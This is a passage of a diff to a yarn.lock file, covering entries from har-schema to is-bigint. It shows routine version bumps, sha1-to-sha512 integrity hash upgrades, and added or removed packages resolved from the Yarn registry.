   resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
-  integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
+  integrity sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==
 
 har-validator@~5.1.3:
   version "5.1.5"
@@ -3672,19 +3848,24 @@ har-validator@~5.1.3:
 has-ansi@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
-  integrity sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=
+  integrity sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==
   dependencies:
     ansi-regex "^2.0.0"
 
+has-bigints@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.1.0.tgz#28607e965ac967e03cd2a2c70a2636a1edad49fe"
+  integrity sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==
+
 has-flag@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-1.0.0.tgz#9d9e793165ce017a00f00418c43f942a7b1d11fa"
-  integrity sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=
+  integrity sha512-DyYHfIYwAJmjAjSSPKANxI8bFY9YtFrgkAfinBojQ8YJTOuOuav64tMUJv584SES4xl74PmuaevIyaLESHdTAA==
 
 has-flag@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-2.0.0.tgz#e8207af1cc7b30d446cc70b734b5e8be18f88d51"
-  integrity sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=
+  integrity sha512-P+1n3MnwjR/Epg9BBo1KT8qbye2g2Ou4sFumihwt6I4tsUX7jnLcX4BTOSKg/B1ZrIYMN9FcEnG4x5a7NB8Eng==
 
 has-flag@^3.0.0:
   version "3.0.0"
@@ -3696,15 +3877,36 @@ has-flag@^4.0.0:
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
 
-has-symbols@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz#9f5214758a44196c406d9bd76cebf81ec2dd31e8"
-  integrity sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5"
+  integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==
+  dependencies:
+    dunder-proto "^1.0.0"
+
+has-symbols@^1.0.3, has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+
+has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
+  dependencies:
+    has-symbols "^1.0.3"
 
 has-value@^0.3.1:
   version "0.3.1"
   resolved "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
-  integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
+  integrity sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==
   dependencies:
     get-value "^2.0.3"
     has-values "^0.1.4"
@@ -3713,7 +3915,7 @@ has-value@^0.3.1:
 has-value@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
-  integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
+  integrity sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==
   dependencies:
     get-value "^2.0.6"
     has-values "^1.0.0"
@@ -3722,22 +3924,20 @@ has-value@^1.0.0:
 has-values@^0.1.4:
   version "0.1.4"
   resolved "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
-  integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
+  integrity sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==
 
 has-values@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
-  integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
+  integrity sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==
   dependencies:
     is-number "^3.0.0"
     kind-of "^4.0.0"
 
-has@^1.0.1, has@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
-  integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
-  dependencies:
-    function-bind "^1.1.1"
+has@^1.0.1:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/has/-/has-1.0.4.tgz#2eb2860e000011dae4f1406a86fe80e530fb2ec6"
+  integrity sha512-qdSAmqLF6209RFj4VVItywPMbm3vWylknmB3nvNiUIs72xAimcM8nVYxYr7ncvZq5qzk9MKIZR8ijqD/1QuYjQ==
 
 hash-base@^3.0.0:
   version "3.1.0"
@@ -3748,6 +3948,14 @@ hash-base@^3.0.0:
     readable-stream "^3.6.0"
     safe-buffer "^5.2.0"
 
+hash-base@~3.0, hash-base@~3.0.4:
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/hash-base/-/hash-base-3.0.5.tgz#52480e285395cf7fba17dc4c9e47acdc7f248a8a"
+  integrity sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==
+  dependencies:
+    inherits "^2.0.4"
+    safe-buffer "^5.2.1"
+
 hash.js@^1.0.0, hash.js@^1.0.3:
   version "1.1.7"
   resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42"
@@ -3756,15 +3964,22 @@ hash.js@^1.0.0, hash.js@^1.0.3:
     inherits "^2.0.3"
     minimalistic-assert "^1.0.1"
 
+hasown@^2.0.0, hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+  dependencies:
+    function-bind "^1.1.2"
+
 he@1.2.x:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
   integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
 
-hmac-drbg@^1.0.0, hmac-drbg@^1.0.1:
+hmac-drbg@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
-  integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=
+  integrity sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==
   dependencies:
     hash.js "^1.0.3"
     minimalistic-assert "^1.0.0"
@@ -3773,7 +3988,7 @@ hmac-drbg@^1.0.0, hmac-drbg@^1.0.1:
 home-or-tmp@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/home-or-tmp/-/home-or-tmp-2.0.0.tgz#e36c3f2d2cae7d746a857e38d18d5f32a7882db8"
-  integrity sha1-42w/LSyufXRqhX440Y1fMqeILbg=
+  integrity sha512-ycURW7oUxE2sNiPVw1HVEFsW+ecOpJ5zaj7eC0RlwhibhRBod20muUN8qu/gzx956YrLolVvs1MTXwKgC2rVEg==
   dependencies:
     os-homedir "^1.0.0"
     os-tmpdir "^1.0.1"
@@ -3786,9 +4001,9 @@ homedir-polyfill@^1.0.1:
     parse-passwd "^1.0.0"
 
 hosted-git-info@^2.1.4:
-  version "2.8.8"
-  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.8.tgz#7539bd4bc1e0e0a895815a2e0262420b12858488"
-  integrity sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==
+  version "2.8.9"
+  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
+  integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==
 
 hpack.js@^2.1.6:
   version "2.1.6"
@@ -3813,9 +4028,9 @@ html-encoding-sniffer@^1.0.1:
     whatwg-encoding "^1.0.1"
 
 html-entities@^1.2.0:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-1.3.1.tgz#fb9a1a4b5b14c5daba82d3e34c6ae4fe701a0e44"
-  integrity sha512-rhE/4Z3hIhzHAUKbW8jVcCyuT5oJCXXqhN/6mXXVCpzTmvJnoH2HL/bt3EZ6p55jbFJBeAe1ZNpL5BugLujxNA==
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-1.4.0.tgz#cfbd1b01d2afaf9adca1b10ae7dffab98c71d2dc"
+  integrity sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA==
 
 html-minifier@^3.2.3:
   version "3.5.21"
@@ -3833,7 +4048,7 @@ html-minifier@^3.2.3:
 html-webpack-plugin@2.29.0:
   version "2.29.0"
   resolved "https://registry.yarnpkg.com/html-webpack-plugin/-/html-webpack-plugin-2.29.0.tgz#e987f421853d3b6938c8c4c8171842e5fd17af23"
-  integrity sha1-6Yf0IYU9O2k4yMTIFxhC5f0XryM=
+  integrity sha512-XgOxN8H7nDeLQzD9FQOWWQLVL0GDq5reeREx8jpLZcEZND7kM5j3o/mFhjOcSfZ89HwU3+yBqSQyK7ZvvYFZ/w==
   dependencies:
     bluebird "^3.4.7"
     html-minifier "^3.2.3"
@@ -3842,33 +4057,31 @@ html-webpack-plugin@2.29.0:
     pretty-error "^2.0.2"
     toposort "^1.0.0"
 
-htmlparser2@^3.3.0:
-  version "3.10.1"
-  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-3.10.1.tgz#bd679dc3f59897b6a34bb10749c855bb53a9392f"
-  integrity sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==
+htmlparser2@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-6.1.0.tgz#c4d762b6c3371a05dbe65e94ae43a9f845fb8fb7"
+  integrity sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==
   dependencies:
-    domelementtype "^1.3.1"
-    domhandler "^2.3.0"
-    domutils "^1.5.1"
-    entities "^1.1.1"
-    inherits "^2.0.1"
-    readable-stream "^3.1.1"
+    domelementtype "^2.0.1"
+    domhandler "^4.0.0"
+    domutils "^2.5.2"
+    entities "^2.0.0"
 
 http-deceiver@^1.2.7:
   version "1.2.7"
   resolved "https://registry.yarnpkg.com/http-deceiver/-/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87"
   integrity sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=
 
-http-errors@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f"
-  integrity sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==
+http-errors@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3"
+  integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==
   dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
+    depd "2.0.0"
+    inherits "2.0.4"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    toidentifier "1.0.1"
 
 http-errors@~1.6.2:
   version "1.6.3"
@@ -3880,17 +4093,6 @@ http-errors@~1.6.2:
     setprototypeof "1.1.0"
     statuses ">= 1.4.0 < 2"
 
-http-errors@~1.7.2:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
-  integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw==
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.4"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
 http-parser-js@>=0.5.1:
   version "0.5.2"
   resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.2.tgz#da2e31d237b393aae72ace43882dd7e270a8ff77"
@@ -3899,7 +4101,7 @@ http-parser-js@>=0.5.1:
 http-proxy-middleware@~0.17.4:
   version "0.17.4"
   resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-0.17.4.tgz#642e8848851d66f09d4f124912846dbaeb41b833"
-  integrity sha1-ZC6ISIUdZvCdTxJJEoRtuutBuDM=
+  integrity sha512-JtH3UZju4oXDdca28/kknbm/CFmt35vy0YV0PNOMWWWpn3rT9WV95IXN451xwBGSjy9L0Cah1O9TCMytboLdfw==
   dependencies:
     http-proxy "^1.16.2"
     is-glob "^3.1.0"
@@ -3918,7 +4120,7 @@ http-proxy@^1.16.2:
 http-signature@~1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1"
-  integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=
+  integrity sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==
   dependencies:
     assert-plus "^1.0.0"
     jsprim "^1.2.2"
@@ -3927,7 +4129,7 @@ http-signature@~1.2.0:
 https-browserify@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
-  integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
+  integrity sha512-J+FkSdyD+0mA0N+81tMotaRMfSL9SGi+xpD3T6YApKsc3bGSXJlfXri3VyFOeYkfLRQisDk1W+jIFFKBeUBbBg==
 
 iconv-lite@0.4.24, iconv-lite@^0.4.17:
   version "0.4.24"
@@ -3936,22 +4138,15 @@ iconv-lite@0.4.24, iconv-lite@^0.4.17:
   dependencies:
     safer-buffer ">= 2.1.2 < 3"
 
-iconv-lite@^0.6.2:
-  version "0.6.2"
-  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.2.tgz#ce13d1875b0c3a674bd6a04b7f76b01b1b6ded01"
-  integrity sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==
-  dependencies:
-    safer-buffer ">= 2.1.2 < 3.0.0"
-
 icss-replace-symbols@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz#06ea6f83679a7749e386cfe1fe812ae5db223ded"
-  integrity sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=
+  integrity sha512-chIaY3Vh2mh2Q3RGXttaDIzeiPvaVXJ+C4DAh/w3c37SKZ/U6PGMmuicR2EQQp9bKG8zLMCl7I+PtIoOOPp8Gg==
 
 icss-utils@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-2.1.0.tgz#83f0a0ec378bf3246178b6c2ad9136f135b1c962"
-  integrity sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=
+  integrity sha512-bsVoyn/1V4R1kYYjLcWLedozAM4FClZUdjE9nIr8uWY7xs78y9DATgwz2wGU7M+7z55KenmmTkN2DVJ7bqzjAA==
   dependencies:
     postcss "^6.0.1"
 
@@ -3968,7 +4163,7 @@ ignore@^3.3.3:
 import-lazy@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/import-lazy/-/import-lazy-2.1.0.tgz#05698e3d45c88e8d7e9d92cb0584e77f096f3e43"
-  integrity sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=
+  integrity sha512-m7ZEHgtw69qOGw+jwxXkHlrlIPdTGkyh66zXZ1ajZbxkDBNjSY/LGbmjc7h0s2ELsUDTAhFr55TrPSSqJGPG0A==
 
 import-local@^1.0.0:
   version "1.0.0"
@@ -3986,14 +4181,14 @@ imurmurhash@^0.1.4:
 indent-string@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-2.1.0.tgz#8e2d48348742121b4a8218b7a137e9a52049dc80"
-  integrity sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=
+  integrity sha512-aqwDFWSgSgfRaEwao5lg5KEcVd/2a+D1rvoG7NdilmYz0NwRk6StWpWdz/Hpk34MKPpx7s8XxUqimfcQK6gGlg==
   dependencies:
     repeating "^2.0.0"
 
 indexes-of@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/indexes-of/-/indexes-of-1.0.1.tgz#f30f716c8e2bd346c7b67d3df3915566a7c05607"
-  integrity sha1-8w9xbI4r00bHtn0985FVZqfAVgc=
+  integrity sha512-bup+4tap3Hympa+JBJUG7XuOsdNQ6fxt0MHyXMKuLBKn0OqsTfvUxkUrroEX1+B2VsSHvCjiIcZVxRtYa4nllA==
 
 inflight@^1.0.4:
   version "1.0.6"
@@ -4008,20 +4203,15 @@ inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, i
   resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
   integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
 
-inherits@2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1"
-  integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=
-
 inherits@2.0.3:
   version "2.0.3"
   resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
   integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
 
 ini@^1.3.4, ini@~1.3.0:
-  version "1.3.7"
-  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.7.tgz#a09363e1911972ea16d7a8851005d84cf09a9a84"
-  integrity sha512-iKpRpXP+CrP2jyrxvg1kMUpXDyRUFDWurxbnVT1vQPx+Wz9uCYsMIqYuSBLV+PAaZG/d7kRLKRFc9oDMsH+mFQ==
+  version "1.3.8"
+  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
+  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
 
 inquirer@3.3.0, inquirer@^3.0.6:
   version "3.3.0"
@@ -4046,10 +4236,19 @@ inquirer@3.3.0, inquirer@^3.0.6:
 internal-ip@1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/internal-ip/-/internal-ip-1.2.0.tgz#ae9fbf93b984878785d50a8de1b356956058cf5c"
-  integrity sha1-rp+/k7mEh4eF1QqN4bNWlWBYz1w=
+  integrity sha512-DzGfTasXPmwizQP4XV2rR6r2vp8TjlOpMnJqG9Iy2i1pl1lkZdZj5rSpIc7YFGX2nS46PPgAGEyT+Q5hE2FB2g==
   dependencies:
     meow "^3.3.0"
 
+internal-slot@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961"
+  integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==
+  dependencies:
+    es-errors "^1.3.0"
+    hasown "^2.0.2"
+    side-channel "^1.1.0"
+
 interpret@^1.0.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/interpret/-/interpret-1.4.0.tgz#665ab8bc4da27a774a40584e812e3e0fa45b1a1e"
@@ -4065,12 +4264,12 @@ invariant@^2.2.2:
 invert-kv@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/invert-kv/-/invert-kv-1.0.0.tgz#104a8e4aaca6d3d8cd157a8ef8bfab2d7a3ffdb6"
-  integrity sha1-EEqOSqym09jNFXqO+L+rLXo//bY=
+  integrity sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==
 
 ip@^1.1.0, ip@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/ip/-/ip-1.1.5.tgz#bdded70114290828c0a039e72ef25f5aaec4354a"
-  integrity sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=
+  version "1.1.9"
+  resolved "https://registry.yarnpkg.com/ip/-/ip-1.1.9.tgz#8dfbcc99a754d07f425310b86a99546b1151e396"
+  integrity sha512-cyRxvOEpNHNtchU3Ln9KC/auJgup87llfQpQ+t5ghoC/UhL16SWzbueiCsdTnWmqAWl7LadfuwhlqmtOaqMHdQ==
 
 ipaddr.js@1.9.1:
   version "1.9.1"
@@ -4080,38 +4279,58 @@ ipaddr.js@1.9.1:
 is-absolute-url@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-2.1.0.tgz#50530dfb84fcc9aa7dbe7852e83a37b93b9f2aa6"
-  integrity sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=
+  integrity sha512-vOx7VprsKyllwjSkLV79NIhpyLfr3jAp7VaTCMXOJHu4m0Ew1CZ2fcjASwmV1jI3BWuWHB013M48eyeldk9gYg==
 
-is-accessor-descriptor@^0.1.6:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6"
-  integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=
+is-accessor-descriptor@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.1.tgz#3223b10628354644b86260db29b3e693f5ceedd4"
+  integrity sha512-YBUanLI8Yoihw923YeFUS5fs0fF2f5TSFTNiYAAzhhDscDa3lEqYuz1pDOEP5KvX94I9ey3vsqjJcLVFVU+3QA==
   dependencies:
-    kind-of "^3.0.2"
+    hasown "^2.0.0"
 
-is-accessor-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656"
-  integrity sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==
+is-arguments@^1.1.1:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.2.0.tgz#ad58c6aecf563b78ef2bf04df540da8f5d7d8e1b"
+  integrity sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==
   dependencies:
-    kind-of "^6.0.0"
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
 
-is-arguments@^1.0.4:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.1.0.tgz#62353031dfbee07ceb34656a6bde59efecae8dd9"
-  integrity sha512-1Ij4lOMPl/xB5kBDn7I+b2ttPMKa8szhEIrXDuXQD/oe3HJLTLhqhgGspwgyGd6MOywBUqVvYicF72lkgDnIHg==
+is-array-buffer@^3.0.4, is-array-buffer@^3.0.5:
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz#65742e1e687bd2cc666253068fd8707fe4d44280"
+  integrity sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==
   dependencies:
-    call-bind "^1.0.0"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
 
 is-arrayish@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
   integrity sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=
 
+is-async-function@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.1.0.tgz#1d1080612c493608e93168fc4458c245074c06a6"
+  integrity sha512-GExz9MtyhlZyXYLxzlJRj5WUCE661zhDa1Yna52CN57AJsymh+DvXXjyveSioqSRdxvUrdKdvqB1b5cVKsNpWQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-proto "^1.0.1"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
+
+is-bigint@^1.1.0:
+  version "1.1.0"
